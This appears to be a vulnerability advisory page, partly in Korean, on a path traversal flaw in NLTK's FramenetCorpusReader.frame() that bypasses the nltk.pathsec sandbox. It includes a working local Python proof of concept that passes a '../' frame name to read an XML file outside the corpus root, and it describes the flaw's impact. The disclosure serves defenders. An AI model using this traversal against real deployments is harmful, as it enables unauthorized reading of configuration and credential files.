Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
1""" 2 3import os 4import sys 5import tempfile 6import warnings 7from pathlib import Path 8 9warnings.filterwarnings("ignore")10 11# --- Turn the documented strict sandbox ON, before importing the reader. ---12import nltk.pathsec as ps13ps.ENFORCE = True14 15import nltk16from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError17 18FRAME_XML = (19 '<?xml version="1.0" encoding="UTF-8"?>\n'20 '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'21 "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"22 "</frame>\n"23)24 25BANNER = """\26===========================================================27 NLTK FramenetCorpusReader.frame() Path Traversal PoC28 nltk {ver} | nltk.pathsec.ENFORCE = {enforce}29===========================================================""".format(30 ver=nltk.__version__, enforce=ps.ENFORCE31)32 33 34def build_corpus():35 """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""36 base = Path(tempfile.mkdtemp(prefix="fn_poc_"))37 root = base / "corpora" / "framenet"38 for d in ("frame", "fulltext", "lu"):39 (root / d).mkdir(parents=True)40 (root / "frameIndex.xml").write_text(41 '<?xml version="1.0"?><frameIndex></frameIndex>'42 )43 (root / "frRelation.xml").write_text(44 '<?xml version="1.0"?><frameRelations></frameRelations>'45 )46 47 # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).48 secret = base / "private"49 secret.mkdir()50 (secret / "secret.xml").write_text(FRAME_XML)51 52 return base, root, secret / "secret.xml"53 54 55def main():56 print(BANNER)57 base, root, secret_path = build_corpus()58 print(f"[*] corpus root : {root}")59 print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")60 61 fn = FramenetCorpusReader(str(root), [])62 63 # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml64 evil = os.path.join("..", "..", "..", "private", "secret")65 print(f"[*] calling fn.frame({evil!r})")66 67 try:68 f = fn.frame(evil)69 definition = f["definition"]70 if "SECRET-OUT-OF-ROOT-CONTENT" in definition:71 print("\n [VULN] out-of-root file was read and returned to caller")72 print(f" frame name : {evil}")73 print(f" frame ID : {f['ID']} name: {f['name']}")74 print(f" definition : {definition}")75 print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")76 verdict = "VULNERABLE"77 else:78 print(f"\n [?] frame() returned but content unexpected: {definition!r}")79 verdict = "INCONCLUSIVE"80 except FramenetError as e:81 # Patched build (#3581): _reject_unsafe_path_component raises before open().82 print(f"\n [SAFE] FramenetError: {e}")83 print(" traversal rejected before any file was opened (patched)")84 verdict = "NOT VULNERABLE"85 except Exception as e:86 print(f"\n [SAFE] {type(e).__name__}: {e}")87 verdict = "NOT VULNERABLE"88 89 # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.90 print("\n[CONTROL] benign absent name should be 'Unknown frame':")91 try:92 fn.frame("Definitely_Not_A_Frame")93 print(" [?] unexpectedly succeeded")94 except Exception as e:95 print(f" ok -> {type(e).__name__}: {e}")96 97 print("\n" + "=" * 59)98 print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")99 print("=" * 59)100 101 102if __name__ == "__main__":103 main()Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read — silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.